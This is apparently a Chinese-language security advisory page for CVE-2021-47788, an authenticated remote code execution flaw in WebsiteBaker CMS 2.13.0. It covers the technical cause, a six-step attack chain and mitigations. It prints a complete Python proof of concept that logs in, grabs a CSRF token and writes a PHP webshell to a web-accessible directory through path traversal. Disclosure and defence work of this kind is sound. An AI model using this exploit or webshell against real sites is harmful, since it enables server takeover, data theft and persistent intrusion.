IPBUF安全漏洞报告
English
CVE-2021-47788 CVSS 8.8 高危

CVE-2021-47788 WebsiteBaker 认证后远程代码执行漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47788
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WebsiteBaker CMS 2.13.0

相关标签

CVE-2021-47788WebsiteBaker远程代码执行RCE认证后攻击代码注入CMS漏洞权限提升PHPWeb安全

漏洞概述

CVE-2021-47788是WebsiteBaker CMS 2.13.0版本中的一个严重安全漏洞,属于认证后远程代码执行(RCE)漏洞。该漏洞存在于语言安装功能模块中,允许具有语言编辑权限的已认证用户通过操纵语言安装参数,在服务器上执行任意代码。攻击者无需高权限账户,仅需拥有普通用户账号并具备语言编辑权限即可利用此漏洞。由于CVSS评分高达8.8,且攻击复杂度低、无需用户交互,因此该漏洞具有极高的实际威胁。成功利用此漏洞的攻击者可以完全控制Web服务器,窃取敏感数据、植入后门或进一步横向移动攻击企业内网。WebsiteBaker是一款开源内容管理系统,广泛应用于个人网站和中小企业官网,此次漏洞影响范围较大,建议相关用户立即采取修复措施。

技术细节

该漏洞的根本原因在于WebsiteBaker的语言安装端点(language installation endpoint)对用户输入参数缺乏充分的验证和过滤。攻击者通过在语言安装过程中注入恶意构造的参数,可以将任意PHP代码写入服务器文件系统。具体来说,攻击者利用语言包安装功能的文件写入逻辑,通过路径遍历或参数注入方式,将.php后门的文件写入Web可访问目录。由于WebsiteBaker在处理语言包配置时直接使用用户可控的输入构造文件内容,未对特殊字符或PHP代码进行转义或过滤,导致恶意代码被写入文件后可直接被Web服务器解析执行。此漏洞属于典型的代码注入类RCE漏洞,利用前提是攻击者必须拥有有效的用户账户并且该账户具备语言编辑权限(通常为管理员或高级编辑角色)。攻击成功后,攻击者可在服务器上执行任意系统命令,获取完整的服务器控制权。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站使用的WebsiteBaker CMS版本,确认版本为2.13.0或更早版本。同时探测网站是否开放用户注册或管理后台入口。
STEP 2
步骤2:获取有效账户
攻击者通过社会工程、弱口令爆破或已有数据泄露获取WebsiteBaker的有效用户凭据。账户需要具备语言编辑权限(通常为管理员或高级编辑角色)。
STEP 3
步骤3:登录并获取CSRF令牌
使用获取的凭据登录WebsiteBaker管理后台,访问语言设置页面并提取CSRF安全令牌,用于后续请求的绕过。
STEP 4
步骤4:构造恶意语言安装请求
攻击者构造特制的语言安装请求,在参数中注入PHP webshell代码,并指定文件写入路径为Web可访问目录(如/modules/目录)。
STEP 5
步骤5:触发代码执行
通过语言安装端点的保存功能,触发文件写入操作。恶意PHP代码被写入服务器后,攻击者通过HTTP请求访问该文件即可执行任意系统命令。
STEP 6
步骤6:维持持久化访问
成功RCE后,攻击者可能植入后门、创建新管理员账户或进一步探测内网环境,建立持久化访问通道。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47788 PoC - WebsiteBaker Authenticated RCE via Language Installation # Target: WebsiteBaker CMS <= 2.13.0 # Requirement: Valid account with language editing permissions import requests import re from urllib.parse import urlencode TARGET_URL = "http://target-website.com/websitebaker" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() def login(): """Authenticate to WebsiteBaker with valid credentials""" login_url = f"{TARGET_URL}/admin/login/index.php" login_data = { 'username_fieldname': USERNAME, 'password_fieldname': PASSWORD, 'username': USERNAME, 'password': PASSWORD } response = session.post(login_url, data=login_data) return 'wb_user_id' in session.cookies def get_csrf_token(): """Extract CSRF token from language settings page""" lang_url = f"{TARGET_URL}/admin/languages/index.php" response = session.get(lang_url) match = re.search(r'name="[\w]+token[\w]*"[\s]+value="([a-f0-9]+)"', response.text) return match.group(1) if match else None def exploit(csrf_token): """Execute RCE by injecting PHP code via language installation""" # PHP webshell payload webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" exploit_url = f"{TARGET_URL}/admin/languages/save.php" exploit_data = { 'type': 'install', 'action': 'save', 'security_token': csrf_token, # Exploit: Inject PHP code into language file path 'name': 'rce_lang', 'code': webshell, # Write to web-accessible directory 'path': '../../../modules/rce.php' } response = session.post(exploit_url, data=exploit_data) return f"{TARGET_URL}/modules/rce.php?cmd=whoami" in str(response.content) def main(): print("[*] Starting CVE-2021-47788 exploitation...") if not login(): print("[-] Authentication failed") return print("[+] Login successful") token = get_csrf_token() if not token: print("[-] Failed to obtain CSRF token") return print(f"[+] CSRF token obtained: {token}") if exploit(token): print("[+] RCE payload deployed successfully!") print(f"[+] Webshell accessible at: {TARGET_URL}/modules/rce.php") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

影响范围

WebsiteBaker CMS 2.13.0 及之前所有版本

防御指南

临时缓解措施
在官方安全补丁发布之前,建议采取以下临时缓解措施:1)立即撤销所有非必要用户对语言编辑功能的访问权限;2)通过Web服务器配置禁止对/admin/languages/目录的外部访问;3)部署WAF规则拦截包含路径遍历字符(如../)或PHP代码标记(如<?php)的请求参数;4)启用详细的访问日志审计,监控可疑的语言包安装行为;5)考虑暂时禁用WebsiteBaker的语言安装功能模块,待官方修复后再恢复使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表